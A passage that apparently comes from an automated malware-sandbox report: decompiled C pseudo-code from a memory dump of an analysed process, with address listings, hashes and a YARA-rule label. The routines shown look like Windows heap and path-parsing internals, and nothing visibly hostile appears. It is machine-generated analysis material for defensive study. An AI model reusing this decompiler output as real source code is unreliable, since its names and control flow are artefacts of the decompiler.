															_t222 = _t362 + 4;
															 *_t222 =  *(_t362 + 4) | 1;
															__eflags =  *_t222;
														}
													}
													__eflags =  *(_t528 - 0xb0);
													if( *(_t528 - 0xb0) != 0) {
														 *(_t479 + _t427) =  *(_t528 - 0x90) + 0x0000000f & 0x0000fff8;
														_t458 = 0xb;
														 *((short*)(_t479 + _t427 + 2)) = _t458;
														 *((short*)(_t479 + _t427 + 6)) =  *(_t528 - 0x90);
														 *((short*)(_t427 + 4 + _t479)) = 0;
														 *(_t528 - 0xb8) = _t479 + 8 + _t427;
														E0341FA60(( *(_t528 - 0x90) & 0x0000ffff) + _t479 + 8 + _t427, 0, ( *(_t528 - 0x90) + 0x0000000f & 0x0000fff8) -  *(_t528 - 0x90) - 0x00000008 & 0x0000ffff);
														_t529 = _t529 + 0xc;
														 *(_t427 + 4) =  *(_t427 + 4) | 1;
														_t479 =  *(_t528 - 0x78) + ( *( *(_t528 - 0x78) + _t427) & 0x0000ffff);
														 *(_t528 - 0x78) = _t479;
														__eflags = _t505;
														if(_t505 != 0) {
															_t241 = _t505 + 4;
															 *_t241 =  *(_t505 + 4) | 1;
															__eflags =  *_t241;
														}
													}
													_t328 =  *(_t528 + 0x1c);
													__eflags = _t328;
													if(_t328 == 0) {
														L87:
														_t329 =  *((intOrPtr*)(_t528 - 0xe0));
														 *((intOrPtr*)(_t427 + 0x10)) = _t329;
														_t455 =  *(_t528 - 0xdc);
														 *(_t427 + 0x14) = _t455;
														_t480 =  *(_t528 - 0xa0);
														_t517 = 3;
														__eflags =  *((intOrPtr*)(_t480 + 0x10)) - _t517;
														if( *((intOrPtr*)(_t480 + 0x10)) != _t517) {
															asm("rdtsc");
															 *(_t427 + 0x3c) = _t480;
														} else {
															 *(_t427 + 0x3c) = _t455;
														}
														 *((intOrPtr*)(_t427 + 0x38)) = _t329;
														_t456 =  *[fs:0x18];
														 *((intOrPtr*)(_t427 + 8)) =  *((intOrPtr*)(_t456 + 0x24));
														 *((intOrPtr*)(_t427 + 0xc)) =  *((intOrPtr*)(_t456 + 0x20));
														_t427 = 0;
														__eflags = 0;
														_t511 = 0x18;
														goto L91;
													} else {
														_t519 =  *((intOrPtr*)(_t528 - 0xc8)) + 0xc;
														__eflags = _t519;
														 *(_t528 - 0x8c) = _t328;
														do {
															_t506 =  *((intOrPtr*)(_t519 - 4));
															_t457 =  *((intOrPtr*)(_t519 - 0xc));
															 *(_t528 - 0xd4) =  *(_t519 - 8);
															_t333 =  *((intOrPtr*)(_t528 - 0xb4));
															__eflags =  *(_t333 + 0x36) & 0x00004000;
															if(( *(_t333 + 0x36) & 0x00004000) != 0) {
																_t334 =  *_t519;
															} else {
																_t334 = 0;
															}
															_t336 = _t334 & 0x000000ff;
															__eflags = _t336;
															_t427 =  *(_t528 - 0x88);
															if(_t336 == 0) {
																_t481 = _t479 + _t506;
																__eflags = _t481;
																 *(_t528 - 0x78) = _t481;
																E0341F3E0(_t479 + _t427, _t457, _t506);
																_t529 = _t529 + 0xc;
															} else {
																_t340 = _t336 - 1;
																__eflags = _t340;
																if(_t340 == 0) {
																	E0341F3E0( *(_t528 - 0xb8), _t457, _t506);
																	_t529 = _t529 + 0xc;
																	 *(_t528 - 0xb8) =  *(_t528 - 0xb8) + _t506;
																} else {
																	__eflags = _t340 == 0;
																	if(_t340 == 0) {
																		__eflags = _t506 - 8;
																		if(_t506 == 8) {
																			 *((intOrPtr*)(_t528 - 0xe0)) =  *_t457;
																			 *(_t528 - 0xdc) =  *(_t457 + 4);
																		}
																	}
																}
															}
															_t339 = 0x10;
															_t519 = _t519 + _t339;
															_t263 = _t528 - 0x8c;
															 *_t263 =  *(_t528 - 0x8c) - 1;
															__eflags =  *_t263;
															_t479 =  *(_t528 - 0x78);
														} while ( *_t263 != 0);
														goto L87;
													}
												}
											} else {
												_t392 =  *( *((intOrPtr*)(_t528 - 0xb4)) + 0x36) & 0x00004000;
												 *(_t528 - 0xa2) = _t392;
												_t469 =  *((intOrPtr*)(_t528 - 0xc8)) + 8;
												__eflags = _t469;
												while(1) {
													 *(_t528 - 0xe4) = _t511;
													__eflags = _t392;
													_t393 = _t427;
													if(_t392 != 0) {
														_t393 =  *((intOrPtr*)(_t469 + 4));
													}
													_t395 = (_t393 & 0x000000ff) - _t427;
													__eflags = _t395;
													if(_t395 == 0) {
														_t511 = _t511 +  *_t469;
														__eflags = _t511;
													} else {
														_t398 = _t395 - 1;
														__eflags = _t398;
														if(_t398 == 0) {
															 *(_t528 - 0x90) =  *(_t528 - 0x90) +  *_t469;
															 *(_t528 - 0xb0) =  *(_t528 - 0xb0) + 1;
														} else {
															__eflags = _t398 == 1;
															if(_t398 == 1) {
																 *(_t528 - 0xa8) =  *(_t469 - 8);
																_t402 =  *_t469 & 0x0000ffff;
																 *(_t528 - 0xac) = _t402;
																_t511 = _t511 + ((_t402 & 0x0000ffff) + 0x0000000f & 0xfffffff8);
															}
														}
													}
													__eflags = _t511 -  *(_t528 - 0xe4);
													if(_t511 <  *(_t528 - 0xe4)) {
														break;
													}
													_t397 =  *(_t528 - 0x88) + 1;
													 *(_t528 - 0x88) = _t397;
													_t469 = _t469 + 0x10;
													__eflags = _t397 -  *(_t528 + 0x1c);
													_t392 =  *(_t528 - 0xa2);
													if(_t397 <  *(_t528 + 0x1c)) {
														continue;
													}
													goto L45;
												}
												_t475 = 0x216;
												 *(_t528 - 0x74) = 0x216;
												goto L45;
											}
										} else {
											asm("lock dec dword [eax+ecx*8+0x4]");
											goto L16;
										}
									}
									_t491 = E034A4CAB(_t306, _t528 - 0xa4);
									 *(_t528 - 0x74) = _t491;
									__eflags = _t491;
									if(_t491 != 0) {
										goto L91;
									} else {
										_t474 =  *((intOrPtr*)(_t528 - 0x94));
										goto L20;
									}
								}
								L16:
								 *(_t528 - 0x74) = 0x1069;
								L93:
								_t298 =  *(_t528 - 0xd0) + 1;
								 *(_t528 - 0xd0) = _t298;
								_t474 = _t474 + _t511;
								 *((intOrPtr*)(_t528 - 0x94)) = _t474;
								_t494 = 4;
								__eflags = _t298 - _t494;
								if(_t298 >= _t494) {
									goto L100;
								}
								_t494 =  *(_t528 - 0xcc);
								_t435 = _t298;
								continue;
							}
							__eflags = _t494[2] | _t494[3];
							if((_t494[2] | _t494[3]) == 0) {
								goto L15;
							}
							goto L12;
						}
						__eflags = _t301;
						if(_t301 != 0) {
							goto L92;
						}
						goto L10;
						L92:
						goto L93;
					}
				} else {
					_push(0x57);
					L101:
					return E0342D130(_t427, _t494, _t511);
				}
			}

0x034a5ba5
0x034a5baa
0x034a5baf
0x034a5bb4
0x034a5bb6
0x034a5bbc
0x034a5bbe
0x034a5bc4
0x034a5bcd
0x034a5bd3
0x034a5bd6
0x034a5bdc
0x034a5be0
0x034a5be3
0x034a5beb
0x034a5bf2
0x034a5bf8
0x034a5bfe
0x034a5c04
0x034a5c0e
0x034a5c18
0x034a5c1f
0x034a5c25
0x034a5c2a
0x034a5c2c
0x034a5c32
0x034a5c3a
0x034a5c3f
0x034a5c42
0x034a5c48
0x034a5c5b
0x034a5c5b
0x034a5c2c
0x034a5cb7
0x034a5cb9
0x034a5cbf
0x034a5cc2
0x034a5cca
0x034a5ccb
0x034a5ccb
0x034a5cd1
0x034a5cd7
0x034a5cda
0x034a5ce1
0x034a5ce4
0x034a5ce7
0x034a5ced
0x034a5cf3
0x034a5cf9
0x034a5cff
0x034a5d08
0x034a5d0a
0x034a5d0e
0x034a5d10
0x00000000
0x00000000
0x034a5d16
0x034a5d1a
0x00000000
0x00000000
0x034a5d20
0x034a5d22
0x034a5d25
0x034a5d2f
0x034a5d2f
0x034a5d33
0x034a5d3d
0x034a5d49
0x034a5d4b
0x00000000
0x00000000
0x034a5d5a
0x034a5d5d
0x034a5d60
0x00000000
0x00000000
0x034a5d66
0x034a5d69
0x00000000
0x00000000
0x034a5d6f
0x034a5d6f
0x034a5d73
0x034a5d79
0x034a5d7f
0x034a5d86
0x034a5d95
0x034a5d98
0x034a5dba
0x034a5dcb
0x034a5dce
0x034a5dd3
0x034a5dd6
0x034a5dd8
0x034a5de6
0x034a5dec
0x034a5dee
0x034a5df1
0x034a5df3
0x034a635a
0x034a635a
0x00000000
0x034a635a
0x034a5dfe
0x034a5e02
0x034a5e05
0x034a5e07
0x034a5e10
0x034a5e13
0x034a5e1b
0x034a5e1c
0x034a5e21
0x034a5e22
0x034a5e23
0x034a5e25
0x034a5e2a
0x034a5e2c
0x034a5e2e
0x034a5e36
0x034a5e39
0x034a5e42
0x034a5e47
0x034a5e4d
0x034a5e54
0x034a5e54
0x034a5e54
0x034a5e2e
0x034a5e5c
0x034a5e5f
0x034a5e62
0x034a5e64
0x034a5e6b
0x034a5e70
0x034a5e7a
0x034a5e7a
0x034a5e7a
0x034a5e6b
0x034a5e7e
0x034a5e7f
0x034a5e7f
0x034a5e81
0x034a5e87
0x034a5e8b
0x034a5e8c
0x034a5e8c
0x034a5e8c
0x034a5e9a
0x034a5e9c
0x034a5ea2
0x034a5ea6
0x034a5f50
0x034a5f50
0x034a5f57
0x034a5f66
0x034a5f66
0x034a5f66
0x034a5f68
0x034a5f6a
0x034a63d0
0x00000000
0x034a5f70
0x034a5f70
0x034a5f91
0x034a5f9c
0x034a5f9e
0x034a5fa4
0x034a5fa6
0x034a638c
0x034a6392
0x034a63a1
0x034a63a7
0x034a63af
0x034a63af
0x034a63bd
0x034a63d8
0x00000000
0x034a63d8
0x034a5fac
0x034a5fb2
0x034a5fb4
0x034a5fbd
0x034a5fc6
0x034a5fce
0x034a5fd4
0x034a5fdc
0x034a5fec
0x034a5fed
0x034a5fee
0x034a5fef
0x034a5ff9
0x034a5ffa
0x034a5ffb
0x034a5ffc
0x034a6000
0x034a6004
0x034a6012
0x034a6012
0x034a6018
0x034a6019
0x034a601a
0x034a601b
0x034a601c
0x034a6020
0x034a6059
0x034a605c
0x034a6061
0x034a6061
0x034a6022
0x034a6022
0x034a6022
0x034a6025
0x034a602a
0x034a602b
0x034a6031
0x034a6037
0x034a6038
0x034a603e
0x034a6048
0x034a6049
0x034a604a
0x034a604b
0x034a604c
0x034a604d
0x034a6053
0x034a6054
0x034a6054
0x034a6062
0x034a6065
0x034a6067
0x034a606a
0x034a6070
0x034a6075
0x034a6076
0x034a6081
0x034a6087
0x034a6095
0x034a6099
0x034a609e
0x034a60a4
0x034a60ae
0x034a60b0
0x034a60b3
0x034a60b6
0x034a60b8
0x034a60ba
0x034a60ba
0x034a60ba
0x034a60ba
0x034a60be
0x034a60c0
0x034a60c5
0x034a60c5
0x034a60c5
0x034a60c6
0x034a60cd
0x034a6114
0x034a60cf
0x034a60cf
0x034a60d4
0x034a60d5
0x034a60da
0x034a60db
0x034a60e1
0x034a60e2
0x034a60e8
0x034a60f8
0x034a60fd
0x034a60fe
0x034a6102
0x034a6104
0x034a6107
0x034a6109
0x034a610b
0x034a610b
0x034a610b
0x034a610b
0x034a610f
0x034a610f
0x034a6117
0x034a611a
0x034a611f
0x034a6125
0x034a6134
0x034a6139
0x034a613f
0x034a6146
0x034a6148
0x034a614b
0x034a614d
0x034a614f
0x034a614f
0x034a614f
0x034a614f
0x034a6153
0x034a6159
0x034a6159
0x034a615c
0x034a6163
0x034a6169
0x034a616c
0x034a6172
0x034a6181
0x034a6186
0x034a6187
0x034a618b
0x034a6191
0x034a6195
0x034a61a3
0x034a61bb
0x034a61c0
0x034a61c3
0x034a61cc
0x034a61d0
0x034a61dc
0x034a61de
0x034a61e1
0x034a61e4
0x034a61e6
0x034a61e8
0x034a61e8
0x034a61e8
0x034a61e8
0x034a61e6
0x034a61ec
0x034a61f3
0x034a6203
0x034a6209
0x034a620a
0x034a6216
0x034a621d
0x034a6227
0x034a6241
0x034a6246
0x034a624c
0x034a6257
0x034a6259
0x034a625c
0x034a625e
0x034a6260
0x034a6260
0x034a6260
0x034a6260
0x034a625e
0x034a6264
0x034a6267
0x034a6269
0x034a6315
0x034a6315
0x034a631b
0x034a631e
0x034a6324
0x034a6327
0x034a632f
0x034a6330
0x034a6333
0x034a633a
0x034a633c
0x034a6335
0x034a6335
0x034a6335
0x034a633f
0x034a6342
0x034a634c
0x034a6352
0x034a6355
0x034a6355
0x034a6359
0x00000000
0x034a626f
0x034a6275
0x034a6275
0x034a6278
0x034a627e
0x034a627e
0x034a6281
0x034a6287
0x034a628d
0x034a6298
0x034a629c
0x034a62a2
0x034a629e
0x034a629e
0x034a629e
0x034a62a7
0x034a62a7
0x034a62aa
0x034a62b0
0x034a62f0
0x034a62f0
0x034a62f2
0x034a62f8
0x034a62fd
0x034a62b2
0x034a62b2
0x034a62b2
0x034a62b5
0x034a62dd
0x034a62e2
0x034a62e5
0x034a62b7
0x034a62b8
0x034a62bb
0x034a62bd
0x034a62c0
0x034a62c4
0x034a62cd
0x034a62cd
0x034a62c0
0x034a62bb
0x034a62b5
0x034a6302
0x034a6303
0x034a6305
0x034a6305
0x034a6305
0x034a630c
0x034a630c
0x00000000
0x034a627e
0x034a6269
0x034a5eac
0x034a5ebb
0x034a5ebe
0x034a5ecb
0x034a5ecb
0x034a5ece
0x034a5ece
0x034a5ed4
0x034a5ed7
0x034a5ed9
0x034a5edb
0x034a5edb
0x034a5ee1
0x034a5ee1
0x034a5ee3
0x034a5f20
0x034a5f20
0x034a5ee5
0x034a5ee5
0x034a5ee5
0x034a5ee8
0x034a5f11
0x034a5f18
0x034a5eea
0x034a5eea
0x034a5eed
0x034a5ef2
0x034a5ef8
0x034a5efb
0x034a5f0a
0x034a5f0a
0x034a5eed
0x034a5ee8
0x034a5f22
0x034a5f28
0x00000000
0x00000000
0x034a5f30
0x034a5f31
0x034a5f37
0x034a5f3a
0x034a5f3d
0x034a5f44
0x00000000
0x00000000
0x00000000
0x034a5f46
0x034a5f48
0x034a5f4d
0x00000000
0x034a5f4d
0x034a5dda
0x034a5ddf
0x00000000
0x034a5ddf
0x034a5dd8
0x034a5da7
0x034a5da9
0x034a5dac
0x034a5dae
0x00000000
0x034a5db4
0x034a5db4
0x00000000
0x034a5db4
0x034a5dae
0x034a5d88
0x034a5d8d
0x034a6363
0x034a6369
0x034a636a
0x034a6370
0x034a6372
0x034a637a
0x034a637b
0x034a637d
0x00000000
0x00000000
0x034a637f
0x034a6385
0x00000000
0x034a6385
0x034a5d38
0x034a5d3b
0x00000000
0x00000000
0x00000000
0x034a5d3b
0x034a5d27
0x034a5d29
0x00000000
0x00000000
0x00000000
0x034a6360
0x00000000
0x034a6360
0x034a5c10
0x034a5c10
0x034a63da
0x034a63e5
0x034a63e5

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bfcdc4866f84f49c1e3869b74b160e5adf50d2334b2a482710baa39e270eea5
Instruction ID: e2a821233380caca7d5e4439240d770a4a81b439b8e342d39d0f8b23e45d075b
Opcode Fuzzy Hash: 4bfcdc4866f84f49c1e3869b74b160e5adf50d2334b2a482710baa39e270eea5
Instruction Fuzzy Hash: 76424775A006298FDB20CF68C980BAAF7B1FF59304F1981EAD85DAB342D7349985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 033F4120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E033F4120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x34cd360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E0340F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E033F6E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L033F4620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E033F6E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M033F45F8))) {
												case 0:
													_v568 = 0x33b1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x33b11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L033F4620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E0341F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E0341F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E033D52A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E033EEB70(1, 0x34c79a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E033EAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E034195D0();
																			L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E0341B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E03413D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E0341B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x033f4128
0x033f4135
0x033f413c
0x033f4141
0x033f4145
0x033f4147
0x033f414e
0x033f4151
0x033f4159
0x033f415c
0x033f4160
0x033f4164
0x033f4168
0x033f416c
0x033f417f
0x033f4181
0x033f446a
0x033f446a
0x033f418c
0x033f4195
0x033f4199
0x033f4432
0x033f4439
0x033f443d
0x033f4442
0x033f4447
0x00000000
0x033f419f
0x033f41a3
0x033f41b1
0x033f41b9
0x033f41bd
0x033f45db
0x033f45db
0x00000000
0x033f41c3
0x033f41c3
0x033f41ce
0x033f41d4
0x0343e138
0x0343e13e
0x0343e169
0x0343e16d
0x0343e19e
0x0343e16f
0x0343e16f
0x0343e175
0x0343e179
0x0343e18f
0x0343e193
0x00000000
0x0343e199
0x00000000
0x0343e199
0x0343e193
0x00000000
0x00000000
0x00000000
0x033f41da
0x033f41da
0x033f41df
0x033f41e4
0x033f41ec
0x033f4203
0x033f4207
0x0343e1fd
0x033f4222
0x033f4226
0x0343e1f3
0x0343e1f3
0x033f422c
0x033f422c
0x033f4233
0x0343e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x033f4239
0x033f4239
0x033f4239
0x033f4239
0x033f4233
0x033f4226
0x033f41ee
0x033f41ee
0x033f41f4
0x033f4575
0x0343e1b1
0x0343e1b1
0x00000000
0x033f457b
0x033f457b
0x033f4582
0x0343e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x033f4588
0x033f4588
0x033f458c
0x0343e1c4
0x0343e1c4
0x00000000
0x033f4592
0x033f4592
0x033f4599
0x0343e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x033f459f
0x033f459f
0x033f45a3
0x0343e1d7
0x0343e1e4
0x00000000
0x033f45a9
0x033f45a9
0x033f45b0
0x0343e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x033f45b6
0x033f45b6
0x033f45b6
0x00000000
0x033f45b6
0x033f45b0
0x033f45a3
0x033f4599
0x033f458c
0x033f4582
0x00000000
0x00000000
0x00000000
0x00000000
0x033f41f4
0x033f423e
0x033f4241
0x033f45c0
0x033f45c4
0x00000000
0x033f45ca
0x033f45ca
0x00000000
0x0343e207
0x0343e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x033f45d1
0x00000000
0x00000000
0x033f45ca
0x00000000
0x033f4247
0x033f4247
0x033f4247
0x033f4249
0x033f4249
0x033f4249
0x033f4251
0x033f4251
0x033f4257
0x033f425f
0x033f426e
0x033f4270
0x033f427a
0x0343e219
0x0343e219
0x033f4280
0x033f4282
0x033f4456
0x033f45ea
0x00000000
0x033f45f0
0x0343e223
0x00000000
0x0343e223
0x033f445c
0x033f445c
0x00000000
0x033f445c
0x00000000
0x033f4288
0x033f428c
0x0343e298
0x033f4292
0x033f4292
0x033f429e
0x033f42a3
0x033f42a7
0x033f42ac
0x0343e22d
0x033f42b2
0x033f42b2
0x033f42b9
0x033f42bc
0x033f42c2
0x033f42ca
0x033f42cd
0x033f42cd
0x033f42d4
0x033f433f
0x033f433f
0x033f42d6
0x033f42d6
0x033f42d9
0x033f42dd
0x033f42eb
0x0343e23a
0x033f42f1
0x033f4305
0x033f430d
0x033f4315
0x033f4318
0x033f431f
0x033f4322
0x033f432e
0x033f433b
0x033f433b
0x00000000
0x033f432e
0x033f42eb
0x033f434c
0x033f434e
0x033f4352
0x033f4359
0x033f435e
0x033f4361
0x033f436e
0x033f438a
0x033f438e
0x033f4396
0x033f439e
0x033f43a1
0x033f43ad
